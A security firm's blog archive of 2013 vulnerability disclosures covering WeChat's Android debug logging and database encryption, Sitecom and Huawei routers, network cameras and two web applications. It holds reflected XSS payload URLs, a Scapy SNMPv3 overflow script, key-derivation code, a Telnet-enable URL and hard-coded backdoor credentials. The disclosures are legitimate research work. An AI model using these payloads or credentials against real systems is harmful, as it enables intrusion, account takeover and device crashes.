A look at WeChat security

42 comments
Author: Roberto Paleari (@rpaleari)

TL;DR: Any (unprivileged) application installed on an Android phone can instruct WeChat to send an hash of your password to an external, attacker-controlled server. If you are a WeChat user, it is probably worth reading the rest of this post :-)

Introduction

Nowadays, instant messaging (IM) has become one of the main applications of mobile phones, with plenty of "apps" available and literally billions of messages exchanged every day. With the widespread diffusion of mobile Internet traffic plans, IM applications are rapidly replacing other forms of mobile communication, such as text messages and, in some situations, even e-mails.

As conversations are rapidly converging to IM applications, it is natural to start asking how secure this communication channel actually is, and if users can really trust IM apps and their back-end infrastructure. We decided to pick one of these applications and look "under the hood", in order to see how the developers tried to ensure the confidentiality of in-transit communications.

After a quick survey of available IM applications, we decided to start with WeChat, a popular mobile IM platform developed by the China-based Tencent company. The choice of this specific application was quite arbitrary and mainly based on the fact that, in this period, WeChat is publicized a lot on the Italian TV.

WeChat is a feature-rich and sophisticated mobile application, which allows users to communicate via text messages, voice calls, to share photos and videos, and much more. The app is available for several mobile platforms, but we focused on the Android version only: according to Google Play, WeChat for Android alone has more than 50 million downloads. Most of the issues discussed in this post should affect Android versions of WeChat up to 4.5.1. On August 5th, 2013, Tencent released version 5.0, which introduced some major changes; we still have to analyze this version in detail.

A glimpse at the network traffic

The most obvious and easy thing to start with was an analysis of the network traffic generated by the application during normal usage. At this aim, we instructed our Android emulator to save all network traffic to file, we installed WeChat, we logged in and sent a couple of text messages. Part of the traffic generated by WeChat is shown below.


As can be seen from the figure, most of the traffic travels on TCP port 8080, typically reserved for HTTP connections (previous versions of WeChat were using the standard HTTPS port, tcp/443). However, at a first sight, the payload of these packets looks quite strange; indeed, Wireshark is not even able to dissect the HTTP payload.

Looking more closely, we noticed WeChat developers implemented a custom communication protocol: we were able to recognize an initial packet header, right at the beginning of the payload, that confirms these are actually not HTTP/HTTPS sessions. More precisely, we identified the following header fields:
  • Packet length (4 bytes)
  • Header length (2 bytes, always equal to 0x0010)
  • Protocol version (2 bytes, always equal to 0x0001)
  • Opcode (4 bytes, specifies the actual command encapsulated in this packet)
  • Sequence number (4 bytes)

This initial header is followed by an opcode-dependent message body, usually in encrypted form. Briefly, the first message is encrypted by the application using RSA, with an hard-coded public key; next messages are encrypted in AES. In WeChat versions up to 4.3.5 we identified several vulnerabilities which allow an attacker who can intercept the traffic to quickly decrypt the message body, thus being able to access the messages sent and received by the user. More recent versions seems to be immune to these attacks, but we still have to perform a more in-depth analysis of the encryption scheme implemented in the latest WeChat releases.

Debugging

Here we come to the interesting part :-) WeChat includes an undocumented debugging infrastructure, probably used by developers for testing purposes. However, this infrastructure can also be abused by attackers to steal sensitive information concerning a WeChat user account.

In detail, WeChat reads debug settings from an Android ContentProvider, identified by URI "com.tencent.mm.coolassist.debugprovider/config". This ContentProvider is used by the application as a centralized source of debug configuration parameters, and can be employed to specify which debug messages should be logged to the Android console (adb logcat), to save log messages to the sdcard, and even configure a remote logger.

From a security perspective, the remote logging feature is surely the most interesting one. By exploiting this functionality, an attacker can develop a malicious application which exposes the aforementioned ContentProvider and, through specially-crafted debug settings, makes WeChat to send logs to an external, attacker-controlled, server. Such a malicious application would not require any special Android permission.

It is worth considering that logged messages disclose sensitive information about the users, including the user ID, password hash and other details. As an example, here is an excerpt from a remote log session:

09-09 14:32:51 594 V/MicroMsg.MMBuiltInIP <-- data-blogger-escaped-br="" data-blogger-escaped-dump="" data-blogger-escaped-end="" data-blogger-escaped-mmbuiltinip=""> 09-09 14:32:51 626 D/MicroMsg.AccInfo update session info: session=, uin=-1893467821
09-09 14:32:51 635 I/MicroMsg.AutoAuth sending remote request, network.active=false
09-09 14:32:51 666 I/MicroMsg.AutoAuth.SceneInfoQueue inQueue: netid=0
09-09 14:32:51 691 V/MicroMsg.SDK.SyncTask sync task done, return=0, cost=56(wait=0, run=56)
09-09 14:32:51 783 V/MicroMsg.NetStatWatchDog dkreport status:9999002 nowCount:1 ret:1
09-09 14:32:51 810 D/MicroMsg.AutoAuth account info updated:AccInfo:
|-uin =-1893467821
|-user =ukcd_ao03gex3y2731v
|-session =
|-pass =5f4dcc3b5aa765d61d8327deb882cf99
|-pass2 =5f4dcc3b5aa765d61d8327deb882cf99
`-cookie =(null)
09-09 14:32:51 885 D/MicroMsg.NetStatWatchDog item.toByteArray() :433
09-09 14:32:52 101 D/MicroMsg.GYNet encoding, type=380, key=, time=284
09-09 14:32:52 108 I/MicroMsg.GYNet sendImp reqData.len:866
09-09 14:32:52 114 D/MicroMsg.NetStatusUtil activeNetInfo extra=internet, type=0

As can be seen from these logs, the application forwards to the remote server the user name (ukcd_ao03gex3y2731v), another user identifier (uin, with value -1893467821), and even the user's password hash (5f4dcc3b5aa765d61d8327deb882cf99). It should be noted the hash value is a plain MD5 of the user's password, sent to the server for the authentication. Obviously some parameters in the above logs have been edited to prevent readers from hacking our account but, yes, 5f4dcc3b5aa765d61d8327deb882cf99 is the MD5 for string "password" and this was really our account's password :-)

The next section details the communication protocol used by WeChat to interact with the remote log server.

Remote logging protocol

Remote logging can be enabled by configuring the following debug keys:
  • .com.tencent.mm.debug.log.level = 0
  • .com.tencent.mm.debug.log.mmlog.url.mm.log = <ip1>:<port1>
  • .com.tencent.mm.debug.log.mmlog.url.push.log = <ip2>:<port2>
The first key defines the log level ("0" simply means to log everything), while others are used to set the log server address for the two main WeChat application modules (mm and push).

WeChat developers implemented a trivial key derivation scheme to allow the application and the remote log server to agree on an encryption key to cipher debug logs. In a nutshell, the app reads three ASCII lines from the server and uses these lines to derive a DES key. Before transmitting debug messages, the application encrypts them in DES/ECB using this key.

The key generation function is implemented by the following Python code snippet. Function generatekey() receives in input the three lines sent by the server and returns the corresponding DES key.

import hashlib
 

def mangle(data):
    charset = "0123456789abcdef"
    r = ""
    for c in hashlib.md5(data).digest():
        r += charset[(ord(c) >> 4) & 0xf]
        r += charset[ord(c) & 0xf]
    return r


def generatekey(line0, line1, line2):

    seed = line1[2:]
    seed += str(int(line2[2:]))
    seed += "dfdhgc"
    key = mangle(seed)[7:21]
    return key

We also implemented a buggy "quick & dirty" Python script that listens for incoming connections, sends out three ASCII lines, computes the key and deciphers incoming messages. The script is available here.

As a final note, we would like to point out that the ".com.tencent.mm.debug.log.mmlog.url.* " configuration keys are not supported by the latest version of WeChat (5.0). However, this version still queries the ContentProvider for debug settings and part of the logging functionalities have been moved to a dedicated JNI library. We plan to investigate these new features in the future, so at the moment we cannot exclude that the remote logging mechanism has simply been moved elsewhere.

Local database encryption

WeChat locally stores application data in an encrypted SQLite database named "EnMicroMsg.db". This database is located in the "MicroMsg" subfolder inside the application's data directory (typically something like "/data/data/com.tencent.mm").

The database is encrypted using SQLCipher, an open source extension for SQLite that provides full database encryption. The encryption password is derived from the "uin" parameter (see previous sections) combined with the device identifier through a custom function. More precisely, the key generation function leverages the mangle() function shown in the previous Python snippet. The actual database encryption key can be generated through the following pseudo-code:

password = mangle(deviceid + uin)[:7]

Here deviceid is the value returned by the Android API function TelephonyManager.getDeviceId(). Follows a sample SQLCipher console session that demonstrate how the EnMicroMsg.db database can be decrypted.

$ sqlcipher EnMicroMsg.db
sqlite> PRAGMA key = 'b60c8e4';
sqlite> PRAGMA cipher_use_hmac = OFF;
sqlite> .schema
CREATE TABLE conversation (unReadCount INTEGER, status INT, ...
CREATE TABLE bottleconversation (unReadCount INTEGER, status INT, ...
CREATE TABLE tcontact (username text PRIMARY KEY, extupdateseq long, ...
...

It is also worth pointing out that, as the key generation algorithm truncates the password to 7 hex characters, it would be not so difficult for motivated attackers who are able to get the encrypted database to brute force the key, even without knowing the uin or the device identifier.

Conclusions

In this post we discussed some security weaknesses that affect Android versions of WeChat up to 4.5.1 (and possibly others). We tried to contact developers to notify our findings, but with no luck: we wrote an e-mail to Tencent technical support both on August 30th and on September 3th, but we got no reply. With the recent widespread diffusion of mobile instant messaging, app developers should take security into more serious considerations, as their application will probably rapidly become an attractive target for attackers.

Cross-Site Scripting Vulnerability on Ipanema Ip|Reporter Web

1 comments
Advisory Information
Title: Cross-Site Scripting Vulnerability on Ipanema Ip|Reporter web v7.1  
Release date: 22/04/2013  
Last update:  30/08/2013
Credits: Cersosimo Fiorenzo (Emaze Networks S.p.A.)

Vulnerability Information
Class: Input Validation Vulnerability, Cross-site Scripting
CVE: 2013-3296 

Affected Software
We confirm the presence of the security vulnerability on the following product version:
  • Ip|Reporter Web v7.1
Vulnerability Details 
Ip|reporter web can be exploited to cause a disclosure of the user’s session cookie, allowing an attacker to hijack the user session and take over the account. The vulnerability is on the page help.jsp, in the params displetid.

A proof of concept of the Reflected Cross-Site Scripting follows: 
  • https://[host]/salsa/ipreporter_portal/[domain]/portal/help.jsp?rubricId=15;&displetid=164;%22%3C/script%3E%3Cscript%3Ealert%28123%29%3C/script%3E&parentid=150

Remediation
Patch is available on the support web site. 
  
Report Timeline
22/04/2013 - Vulnerability found.
23/04/2013 - Author sends a detailed email describing the vulnerability to the customer. 
23/04/2013 - Customer sends the detail to the Vendor.
29/04/2013 - Vendor opens a ticket to the supplier of the specific component.
17/06/2013 - Author sends an email
to ask for an update.
18/07/2013 - Vendor replies that the patch has been released. 
30/08/2013 - Author notifies the intention to disclosure.
06/09/2013 - Disclosure.
 
Copyright
Copyright(c) Emaze Networks S.p.A. 2013, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community.
There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

Multiple vulnerabilities on Sitecom devices

1 comments
Authors: Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto)

One of our main activities at Emaze consists in analyzing embedded devices to identify security vulnerabilities that could be exploited by attacker to threaten end-users. In this blog post we focus on some issues that affect Sitecom N300/N600 devices, more precisely models WLM-3500 and WLM-5500 (...and possibly others).


The first vulnerability concerns the Wi-Fi network. Modern routers typically allow users to access the Internet also through a wireless connection. Obviously, Wi-Fi is crucial from a security perspective, as could allow nearby attackers (i.e., attackers located within the Wi-Fi network range) to access the user's local network. Unfortunately, in the past embedded devices have often been found to be affected by security vulnerabilities that allow attackers to access the Wi-Fi network, as we also demonstrated in previous blog posts. In the specific case of Sitecom devices, one of the issue we identified permits attackers to obtain the default wireless passphrase configured on the device. As many users don't change the predefined wireless key and keep using the default one, attackers can exploit this vulnerability to connect to the Wi-Fi network and access the victim's LAN.

In addition, we describe two vulnerabilities that permit remote attackers (i.e., attackers located anywhere on the Internet) to activate and access the Telnet service on the device, thus gaining full control over any aspect of the router.

Wireless key generation

Affected Sitecom devices are shipped with a 8-letter WPA/WPA2 passphase, printed on a stick attached under the device. The very same passphrase can  be also used to authenticate to the router web interface, with administrative privileges. At a first glance, this key seems just like a random sequence of eight lowercase and uppercase letters. However, our analysis revealed that this 8-letter key is not random at all, as it can be generated from publicly-accessible information, namely the MAC address of the wireless interface card.

Generating the WPA/admin passphrase from publicly-accessible information

This kind of issue is not new: in the past several other device models were shown to derive the wireless passphrase from the MAC address and/or the Wi-Fi SSID (e.g., Thomson, Huawei and many others). To the best of our knowledge, this is the first time Sitecom devices are also proved to be vulnerable.

More in detail, attackers can connect to a vulnerable Sitecom Wi-Fi network through a simple 3-step procedure:
  1. Move inside the wireless network range and intercept the router Wi-Fi MAC address.
  2. Apply the Sitecom key generation algorithm. This algorithm, starting from the Wi-Fi MAC address, generates the default WPA passphrase.
  3. The generated WPA key can be used to access the victim's wireless network, unless the user has changed it configuring a different Wi-Fi passphrase.
Of course, the challenge for the attacker is to determine which algorithm was used to generate the WPA key starting from the Wi-Fi MAC address. In the case of the affected Sitecom routers, the key generation algorithm was included right inside the device firmware, and was used during a "factory reset" procedure to re-generate the default WPA passphrase.

To demonstrate this attack, we reconstructed the WPA key generation algorithm and implemented it in a Python script, available here. Usage is very simple: just invoke the script passing the MAC address of the target Wi-Fi network, as shown in the example below. The script outputs both the key for the WLM-3500 and the two passphrases for the dual-band WLM-5500.

$ python sitecomkeygen.py aa:bb:cc:dd:ee:ff
==== Single-band (N300/WLM-3500) ====
KEY 2.4GHz: DqzskECV

==== Dual-band (N600/WLM-5500) ====
KEY 5GHz:   1ju5YcPQ
KEY 2.4GHz: 1jgFz11Q

Unauthorized Telnet access

We also realized that unauthenticated remote users can enable the Telnet server by accessing the following (undocumented) URL:
http://<target-ip>/cgi-bin/telnetControl.cgi
This URL is accessible on the WAN side, i.e., it can be invoked by Internet-facing attackers. As soon as the URL is accessed, the Telnet server is enabled also on the WAN interface. In addition, attackers don't have to guess a valid username/password combination to login: Sitecom devices embed a hard-coded credential, "admin:1234", that can be used to authenticate to the Telnet service, with administrative (i.e., root) privileges. As this administrative account is hard-coded, it cannot be disabled nor changed by a normal user.

Remediation

All the security issues discussed in this blog post have already been notified to Sitecom. Sitecom has now released updated firmware versions to address the Telnet issues (firmware versions WLM-3500v2001 v1.08 and WLM-5501v1001 v2.01). Besides manual upgrade, patched software images are also distributed to end-users through the automatic firmware upgrade feature. 

Regarding the wireless passphrase issue, obviously Sitecom cannot distribute a modified firmware that changes the Wi-Fi key with a true random one, as this approach would make several users unable to access their Wi-Fi network. For this reason, we strongly recommend Sitecom users to immediately change their Wi-Fi passphrase, avoiding to use the default one.

In addition, Sitecom confirmed that the algorithm for the generation of WPA/admin passphrase discussed above is valid only for WLM-3500 and WLM-5501 devices. New device models should not be affected by the same issue.

Huawei B153 3G/UMTS router WPS weakness

2 comments
Authors: Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto)

Introduction

Last May we performed a security assessment involving a B153 device, a 3G/UMTS wireless router manufactured by Huawei.

During these tests, we identified a new, previously unknown, security issue that allows to instantaneously crack the WPA/WPA2 passphrase of any of these devices. In other words, by exploiting this vulnerability attackers can gain access to the victim's wireless network in a "single shot", without the need of any brute forcing.
All the tests were performed using a Huawei B153 device; other device models from the same family are probably also affected, but they were not tested.

As required by the ISP that distributes this device to end-users, we do not disclose the full commercial name of the product, but only the manufacturer device model (i.e., Huawei B153).

Vulnerability overview

Like many other Wi-Fi routers, the B153 device supports the WPS procotol, to allow wireless users to easily authenticate to the WPA/WPA2 network. In December 2011, one of the WPS methods, namely the "external registrar" PIN-based method, was demonstrated to be insecure by design, as attackers can brute force the configured PIN in just few hours. This attack is now implemented in publicly available exploitation tools, such as reaver.

We noticed that, in the default settings, B153 devices are configured to accept PIN-based WPS sessions. However, no WPS PIN is actually configured: attackers can spend hours trying all possible WPS PINs, but none of these PIN values will actually work. Nevertheless, the fact that the device actually replies to PIN-based WPS requests was quite suspicious, so we decided to investigate more deeply.

We spent some time analyzing the implementation of the WPS daemon running on the B153. We soon realized that, despite no WPS PIN is actually configured, a specially-crafted WPS session can still force the device to complete the handshake, revealing the current WPA2 passphrase. In other terms, attackers located within the wireless range of the device can instantly recover the WPA passphrase.

It should be considered that this vulnerability allows attacker to return the current WPA/WPA2 key: even if the user has modified the key, choosing a passphrase different than the default one, the attack still succeeds. Additionally, we would also like to stress out that this vulnerability is present in the default device configuration, thus no user action nor any specific customization is required.

Proof-of-concept attack

This attack cannot be performed using a "standard" WPS cracking tool, as it requires a peculiar modification to the WPS protocol implementation.

We implemented a proof-of-concept by modifying the reaver WPS cracking tool, introducing few modifications to the WPS implementation in order to exploit the vulnerability we identified on B153 devices. A sample session using our patched reaver tool is reported below, showing how WPA/WPA2 key is recovered in a "single shot", i.e., with a single WPS session.


$ sudo ./reaver -c 1 -i mon0 -b aa:bb:cc:dd:ee:ff -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

  ----------------------------------------------------------------
-=[ Patched by Emaze Networks to implement the Huawei B153 WPS attack ]=-
    ----------------------------------------------------------------

[+] Switching mon0 to channel 1
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with
AA:BB:CC:DD:EE:FF (ESSID: xxx79E0)
[+] Trying the "secret" pin :-)
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 3 seconds
[+] WPA PSK: '5D3FC94E'
[+] AP SSID: 'xxx79E0'
[+] Nothing done, nothing to save.


To protect end-users, we will not disclose the details of the attack, nor the reaver patch we developed. In fact, despite the device manufacturer now provides a firmware version that should address this vulnerability, to the best of our knowledge the new software is not deployed automatically on the affected devices, and vulnerable users are required to manually update their devices. Unfortunately, according to our experience, end-users apply security patches to their embedded devices very rarely.

Conclusions

We notified this security issue to the manufacturer on May 21st, 2013, providing a technical description of the attack and our proof-of-concept implementation of the exploit. Huawei released an updated firmware version that addresses this vulnerability. Emaze has still not tested the effectiveness of the security patch introduced in this new software version.

Hard-coded accounts on multiple network cameras

0 comments
Advisory Information
Title: Hard-coded accounts on multiple network cameras
Discovery date: 05/06/2013
Release date: 11/07/2013
Credits: Roberto Paleari (roberto.paleari@emaze.net, @rpaleari)
Alessandro Di Pinto (alessandro.dipinto@emaze.net, @adipinto)

Vulnerability Information
Class: Authentication bypass, command execution

Affected Products
We confirm the presence of the security vulnerability on the following products/firmware versions:
  • 3S Vision N1072 network camera, firmware version v1.07_STD-1
  • 3S Vision N1073 network camera, firmware version v1.02_STD-1
  • 3S Vision N3071 network camera, firmware version v1.05_STD-1
  • Asante Voyager 1 network camera, firmware version v2.08
  • Asante Voyager 2 network camera, firmware version v2.08
  • ALinking ALC-9451/ALC-9452 network cameras, firmware version v1.33
Several other device manufacturers, models and firmware versions are probably also vulnerable, but they were not checked, mainly due to time constraints.

Vulnerability Details
The web server and RTSP daemon of the affected cameras include an hard-coded user account. Different device manufacturers (and camera models) use different hard-coded accounts. This issue can be abused by remote attackers to gain administrative access to the affected devices.

In the following, we report the hard-coded accounts for 3S Vision and Asante network cameras, as these are the only device manufacturers that were contacted and replies to our inquiries.

3S Vision cameras
  • HTTP & RTSP account: 3sadmin:27988303

Asante Voyager 1 network cameras
  • HTTP account: uniform:uic7799
  • RTSP account: uicrd:xu06m3

Asante Voyager 2 network cameras
  • HTTP & RTSP account: uicrd:xu06m3

As the account is hard-coded in the web server and RTSP server binary files, it cannot be changed by end-users without upgrading the whole firmware image (or manually patching the executable files).

Remediation
Asante released an updated firmware version that addresses this issue (firmware version 2.12). The patched firmware images for Voyager 1 and Voyager 2 devices are available on Asante web site. To the best of our knowledge, other device manufacturers have not addressed the issues described in this advisory, thus no updated firmware versions are available for their products.

Copyright
Copyright(c) Emaze Networks S.p.A. 2013, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

Multiple buffer overflows on Huawei SNMPv3 service

2 comments
Advisory Information
Title: Multiple buffer overflows on Huawei SNMPv3 service
Discovery date: 11/02/2013
Release date: 06/05/2013
Credits: Roberto Paleari, Emaze Networks S.p.A (@rpaleari)

Vulnerability Information
Class: Memory errors

Affected Products
We confirm the presence of these security vulnerabilities on the following products:
  • Huawei AR1220 (firmware version V200R002C02SPC121T)
According to Huawei security advisories [2,3] other products are also vulnerable, but they were not checked.

Vulnerability Details
The Huawei SNMPv3 service running on the affected devices is vulnerable to multiple stack-based buffer overflow issues. These vulnerabilities can be exploited by unauthenticated remote attackers.

The issues concern Huawei implementation of the SNMPv3 User-based Security Model (USM [1]). Strictly speaking, attackers can overflow the AuthoritativeEngineID and UserName SNMPv3 USM fields.

The vulnerabilities we identified can be classified according to the exploitation context: some issues can be triggered only when SNMP  debugging is enabled, while others are exploitable in the default device configuration.

The first class of issues can be exploited only when SNMP debugging is  enabled, as they are related with the debugging code that displays the content of incoming SNMP packets. Attackers can leverage these issues to  achieve RCE, but the actual impact is quite low, as SNMP debugging is usually disabled during normal operation.

The second class of vulnerabilities affects the SNMPv3 packet decoder. Differently than the previous ones, these issues can be exploited in the default device configuration. Additionally, it is worth considering that ACLs are ineffective at mitigating this threat, as SNMPv3 packets are processed by the device even if the sender's IP is not included in the ACL. Similarly, the vulnerabilities can be exploited even when no SNMPv3 users are configured.

In the following we include a "proof-of-concept" that exploit the latter category. Our PoC simply crashes the device, but the payload can probably  be also adapted to achieve RCE.

This Python example crashes the device by overflowing the UserName SNMPv3 USM field. Consider we used a slightly  modified version of Python Scapy library to properly support the SNMPv3 protocol. The complete Python script and the modified Scapy library can be provided upon request.

from scapy.all import *

def main():
    DST = "192.168.1.1"

    snmp = SNMPv3(version=3)
    pkt = IP(dst=DST)/UDP(sport=RandShort(), dport=161)/snmp
    pkt = snmpsetauth(pkt, "emaze", "MD5")
    pkt["SNMPv3"].flags = 4

    # Replace "user_name" with "auth_engine_id" in the next line to trigger the
    # other overflow
    pkt["SNMPv3"].security.user_name = "A"*4096

    pkt.show()
    send(pkt)

if __name__ == "__main__":
    main()

Remediation
The device manufacturer has released updated firmware versions that should remediate these issues. Huawei security advisories are available at [2,3].

Copyright
Copyright(c) Emaze Networks S.p.A. 2013, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

Footnotes
[1] http://www.ietf.org/rfc/rfc2574.txt
[2] http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-260601.htm
[3] http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-260626.htm

Sitecom WLM-3500 backdoor accounts

2 comments
Advisory Information
Title: Sitecom WLM-3500 backdoor accounts
Discovery date: 24/03/2013
Release date: 16/04/2013
Credits: Roberto Paleari, Emaze Networks S.p.A (@rpaleari)

Vulnerability Information
Class: Authentication bypass

Affected Products
We confirm the presence of the security vulnerability on the following products/firmware versions:
  • Sitecom WLM-3500, firmware versions < 1.07
Other device models and firmware versions are probably also vulnerable, but they were not checked.

Vulnerability Details
Sitecom WLM-3500 routers contain an undocumented access backdoor that can be abused to bypass existing authentication mechanisms.

More in detail, attackers can access the web interface of the affected devices
using two distinct hard-coded users:

Account 1
username: qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui
password: 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678

Account 2
username: user3
password: 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678

These hard-coded accounts are persistently stored inside the device firmware image. Despite these users cannot access all the pages of the web interface, they can still access page "/romfile.cfg", the (clear-text) configuration file of the device that contains, among the other things, also the password for the "admin" user; thus, escalating to administrative privileges is trivial.

To conclude, please consider that in order to reproduce this issue it is required to leverage a web browser that supports 128-character long usernames and passwords (e.g., some versions of IE truncate such a long user/password).

Remediation
The device manufacturer has released an updated firmware version (v1.07) that disables the hard-coded accounts.

Copyright
Copyright(c) Emaze Networks S.p.A. 2013, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.

Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.

Cross-Site Scripting Vulnerability in RSA Archer eGRC

1 comments
Advisory Information
Title: Cross-Site Scripting Vulnerability in RSA Archer eGRC
Release date: 31/01/2013
Last update: 05/02/2012
Credits: Coppeto Nello (Emaze Networks S.p.A.)

Vulnerability Information
Class: Input Validation Vulnerability, Cross-site Scripting
CVE: CVE-2012-1064

Affected Software
We confirm the presence of the security vulnerability on the following product version:
  • RSA Archer 5.1.3.1084
Vulnerability Details
RSA Archer eGRC can be exploited to cause a disclosure of the user’s session cookie, allowing an attacker to hijack the user session and take over the account.

The vulnerability is on the page WorkspaceDashboard.aspx, in the param WorkspaceId.

A proof of concept of the Reflected Cross-Site Scripting follows:
  • https://host/Foundation/WorkspaceDashboard.aspx?WorkspaceId='"</script><script>alert("Cross-Site Scripting")</script> 
If web application is configured with http-only active on the cookie, it is possible read the user session cookie (SessionToken) at the URL:
  • https://host/accesscontrol/UserProfile.aspx?pr=b61add5223474808902a08cd804d26dc
Remediation
Upgrade RSA Archer eGRC at 5.3 version.

Report Timeline
  • 08/02/2012 - Initial vendor contact.
  • 08/02/2012 - Vendor replied.
  • 08/02/2012 - Emaze send a detailed email describing the vulnerability.
  • 09/02/2012 - Vendor replied that they will investigate about the vulnerability.
  • 20/03/2012 - Emaze send an email to ask for updates.
  • 21/03/2012 - Vendor notified that the product engineering team will fix the issue. The product engineering team is currently in the process of assessing the impact on various product versions and defining an implementation and release plan.
  • 12/04/2012 - Emaze send an email to ask for updates and to notify the intention of disclusure.
  • 06/07/2012 - Vendor replied that the patch is currently planned to be released in early Q4
  • 31/01/2013 - Vendor publish advisory on BugTraq
    http://www.securityfocus.com/archive/1/525541/30/0/threaded

Copyright
Copyright(c) Emaze Networks S.p.A. 2013, All rights reserved worldwide. Permission is hereby granted to redistribute this advisory, providing that no changes are made and that the copyright notices and disclaimers remain intact.


Disclaimer
Emaze Networks S.p.A. is not responsible for the misuse of the information provided in our security advisories. These advisories are a service to the professional security community.

There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice.